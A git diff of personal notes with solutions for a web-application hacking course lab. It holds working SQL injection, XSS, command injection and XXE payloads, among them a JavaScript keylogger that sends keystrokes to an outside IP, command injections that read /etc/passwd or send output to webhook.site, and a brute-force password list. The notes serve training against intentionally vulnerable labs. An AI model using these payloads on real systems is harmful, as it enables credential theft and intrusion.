Web app - SQL injection notes

Author: syselement

peh/6-webapp/.gitbook/assets/2025-02-24_22-12-54_904.png

@@ -19,14 +19,17 @@ sudo /opt/pimpmykali/pimpmykali.sh
 # Run menu option E for the WebApp Labs
 # The labs start automatically
 
+# To START the labs
+cd $HOME/peh/labs
+./start-peh-labs.sh
+
+# To (only) STOP the labs
+sudo docker stop $(sudo docker ps -aq)
+
 # To STOP and CLEANUP the labs
 cd $HOME/peh/labs
 ./cleanup-peh-labs.sh
 # This script removes ALL DOCKER CONTAINERS and NETWORKS!!!
-
-# To START the labs
-cd $HOME/peh/labs
-./start-peh-labs.sh
 ```
 
 - Run Burp Suite and open its proxy browser
@@ -37,35 +40,23 @@ cd $HOME/peh/labs
 
 > # Lab solutions
 >
-> ## Injection0x01
->
-> - basic SQLi
->
-> ## Injection0x02
->
-> - login as jeremy:jeremy
-> - check the cookie used as a session token
-> - break it by adding a '
-> - notice the page doesn't show the welcome message now that there is a SQL error
-> - write a script to extract jessamy's password
->
 > ## Injection0x03
 >
 > - sushi shop
-> - product search
+>- product search
 > - UNION select to enum other tables
-> - find creds & login
->
+>- find creds & login
+> 
 > ### solutions:
->
+> 
 > `Tanjyoubi Sushi Rack' UNION SELECT username,password,null,null from injection0x03_users-- -`
->
-> ## XSS 0x01
->
-> `<img src=x onerror=alert(1);>`
->
+> 
+>## XSS 0x01
+> 
+>`<img src=x onerror=alert(1);>`
+> 
 > ## XSS 0x02
->
+> 
 > `<img src=x onerror=alert(1);>`
 >
 > `<script>function logKey(event){fetch("http://10.10.100.146:4444/e?c=" + event.key)} document.addEventListener('keydown', logKey);</script>`
@@ -75,91 +66,91 @@ cd $HOME/peh/labs
 > ## Command Inj 0x01
 >
 > `https://tcm-sec.com; whoami; asd`
-> `; cat /etc/passwd; asd`
->
-> ## Command Inj 0x02
->
-> `https://tcm-sec.com/& whoami& asd`
+>`; cat /etc/passwd; asd`
+> 
+>## Command Inj 0x02
+> 
+>`https://tcm-sec.com/& whoami& asd`
 > `https://tcm-sec.com/ | sleep 10 | asd`
 >
 > `https://webhook.site/<id>/?`whoami``
 >
 > ## Command Inj 0x03
 >
 > `45123)^2))}';whoami;#`
->
-> ## File upload 0x01
->
-> - Intercept
+> 
+>## File upload 0x01
+> 
+>- Intercept
 > - Change contents
 > - Or turn off JS
 >
 > ## File upload 0x02
 >
 > - Bypass the client-side again
-> - Intercept and change the content-type to image/png or image/jpeg
->
-> ## File upload 0x03
->
-> - Bypass the client-side again
+>- Intercept and change the content-type to image/png or image/jpeg
+> 
+>## File upload 0x03
+> 
+>- Bypass the client-side again
 > - Intercept and change the content-type again
 > - Use an extension that's not in the blocklist (.phtml)
->
-> ## Authentication 0x01
->
-> - Brute force
->
+> 
+>## Authentication 0x01
+> 
+>- Brute force
+> 
 > ## Authentication 0x02
 >
 > - MFA code, switch username (code is OK for all users)
-> - Or, just brute the code
->
+>- Or, just brute the code
+> 
 > ## Authentication 0x03
->
-> - Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
->
-> - common password list:
->
-> ```
+> 
+>- Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
+> 
+>- common password list:
+> 
+>```
 > password
-> password123
+>password123
 > letmein
 > manchesterunited
-> ```
->
-> - common usernames list: `/usr/share/seclists/Usernames/Names/names.txt`
->
-> ## XXE, IDOR, capstone
->
-> ### XXE 0x01
->
+>```
+> 
+>- common usernames list: `/usr/share/seclists/Usernames/Names/names.txt`
+> 
+>## XXE, IDOR, capstone
+> 
+>### XXE 0x01
+> 
 > ```
 > <?xml version="1.0" encoding="UTF-8"?>
 > <!DOCTYPE creds [
 > <!ELEMENT creds ANY >]>
 > <creds><user>username</user><password>pass</password></creds>
-> ```
->
-> ```
+>```
+> 
+>```
 > <?xml version="1.0" encoding="UTF-8"?>
-> <!DOCTYPE creds [
+><!DOCTYPE creds [
 > <!ELEMENT creds ANY >
-> <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
+><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 > <creds><user>&xxe;</user><password>pass</password></creds>
 > ```
->
+> 
 > ### IDOR
->
+> 
 > `fuzz the parameter`
 >
 > - find an admin user (or all of the admin users)
->
+> 
 > ### Capstone
->
+> 
 > SQLi to get into admin panel
 > File upload to get RCE
->
-> - XSS in the message alert
+> 
+>- XSS in the message alert
 > - XSS in account names probably? need to test
 >
 > - brute force user accounts
@@ -169,8 +160,8 @@ cd $HOME/peh/labs
 > `http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -`
 >
 > `http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-`
->
-> # To do list
->
+> 
+># To do list
+> 
 > - file upload capstone
-> - auth0x03 testing
+>- auth0x03 testing